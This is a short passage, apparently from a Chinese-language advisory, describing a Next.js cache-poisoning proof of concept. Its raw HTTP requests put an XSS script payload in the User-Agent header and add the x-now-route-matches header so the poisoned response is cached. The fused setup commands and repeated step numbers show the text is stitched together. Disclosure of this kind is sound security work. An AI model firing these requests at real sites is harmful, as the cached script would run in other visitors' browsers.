npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. 使用任意 Web 浏览器访问 http://localhost:3000(正常请求)。


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. 使用任意 Web 浏览器访问 http://localhost:3000(正常请求)。

x-now-route-matches 是 Next.js 识别的自定义 HTTP 头部。当存在此头部时,Next.js 会将 HTTP 请求视为“SSG”(静态站点生成),因此 HTTP 响应可被缓存(Cache-Control: s-maxage=1, stale-while-revalidate)。
?__nextDataReq=1 是 Next.js 识别的查询字符串。当存在此参数时,Next.js 会将 HTTP 请求视为“获取 __NEXT_DATA__”。
完整的技术分析文章可在 致谢 部分找到。